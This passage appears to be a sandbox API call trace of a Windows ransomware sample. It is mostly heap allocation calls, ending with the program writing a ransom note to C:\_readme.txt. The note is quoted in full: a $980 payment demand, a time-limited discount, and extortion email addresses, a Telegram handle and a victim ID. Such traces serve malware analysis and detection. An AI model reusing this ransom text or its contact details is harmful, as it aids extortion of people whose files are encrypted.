(HeapHandle=0x670000, Flags=0x0, Size=0xc2e) returned 0x3068dd8 [0059.053] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.053] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0059.054] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.054] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.054] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0059.054] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.054] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0059.054] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.054] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0059.054] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.054] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.054] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.054] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.054] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.054] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0059.054] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.054] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0059.054] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.054] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.054] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.054] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.054] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.054] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.054] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.054] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.054] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.054] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.054] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.054] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.054] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.054] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.055] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.055] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.055] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0059.055] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.055] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0059.055] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.055] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.055] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.055] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc2e) returned 0x3068dd8 [0059.055] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.055] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0059.055] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0059.055] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.055] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0059.055] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.055] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.055] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.055] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.055] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.055] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.055] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0059.055] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.055] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0059.055] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0059.055] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.055] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0059.055] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.055] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.055] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.055] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.056] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.056] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.056] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.056] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.056] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.056] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.056] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.056] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.056] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.056] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.056] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.056] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.056] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0059.056] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.056] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0059.056] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.056] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.056] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0059.056] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.056] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0059.056] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.056] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.056] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.056] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.056] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.056] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.056] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0059.056] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.056] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0059.056] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0059.057] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.057] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0059.057] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.057] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.057] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.057] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.057] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.057] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.057] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.057] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.057] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.057] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.057] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.057] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.057] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.057] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.057] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.057] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.057] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0059.057] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.057] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0059.057] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.057] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.057] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0059.057] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.057] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0059.057] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.057] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.057] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.057] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.058] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.058] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.058] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0059.058] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.058] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0059.058] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0059.058] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.058] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.058] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.058] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.058] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.058] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.058] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.058] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.058] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.058] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.058] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.058] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0059.058] PathFindFileNameW (pszPath="") returned="" [0059.058] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75fd0000 [0059.059] GetProcAddress (hModule=0x75fd0000, lpProcName="SHGetFolderPathW") returned 0x76055708 [0059.059] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x800) returned 0x306a418 [0059.059] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x306a418 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0059.059] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x810) returned 0x30c8ab8 [0059.059] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e4618 [0059.059] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.060] FreeLibrary (hLibModule=0x75fd0000) returned 1 [0059.060] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e4618 | out: hHeap=0x670000) returned 1 [0059.060] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.060] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x806) returned 0x306a418 [0059.060] PathAppendW (in: pszPath="C:\\", pMore="_readme.txt" | out: pszPath="C:\\_readme.txt") returned 1 [0059.060] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x810) returned 0x30c8ab8 [0059.060] PathFileExistsW (pszPath="C:\\_readme.txt") returned 0 [0059.060] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x7d00) returned 0x312a418 [0059.060] lstrcpyW (in: lpString1=0x312a418, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-WbgTMF1Jmw\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n111Asd3i74yih3gkd" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-WbgTMF1Jmw\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n111Asd3i74yih3gkd") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-WbgTMF1Jmw\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n111Asd3i74yih3gkd" [0059.060] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-WbgTMF1Jmw\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n111Asd3i74yih3gkd", lpString2="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-WbgTMF1Jmw\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n111Asd3i74yih3gkdKRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-WbgTMF1Jmw\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n111Asd3i74yih3gkdKRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e" [0059.060] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x810) returned 0x30c8230 [0059.061] CreateFileW (lpFileName="C:\\_readme.txt" (normalized: "c:\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c0 [0059.062] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x930) returned 0x3100c28 [0059.062] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x894) returned 0x3068dd8 [0059.062] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-WbgTMF1Jmw\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n111Asd3i74yih3gkdKRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e", cchWideChar=-1, lpMultiByteStr=0x3068dd8, cbMultiByte=2196, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-WbgTMF1Jmw\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n111Asd3i74yih3gkdKRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e", lpUsedDefaultChar=0x0) returned 1173 [0059.062] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x8a0) returned 0x3132120 [0059.062] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0059.062] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3100c28 | out: hHeap=0x670000) returned 1 [0059.062] lstrlenA (lpString="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-WbgTMF1Jmw\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n111Asd3i74yih3gkdKRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e") returned 1172 [0059.062] WriteFile (in: hFile=0x5c0, lpBuffer=0x3132120*, nNumberOfBytesToWrite=0x494, lpNumberOfBytesWritten=0x9aafb64, lpOverlapped=0x0 | out: lpBuffer=0x3132120*, lpNumberOfBytesWritten=0x9aafb64*=0x494, lpOverlapped=0x0) returned 1 [0059.063] CloseHandle (hObject=0x5c0) 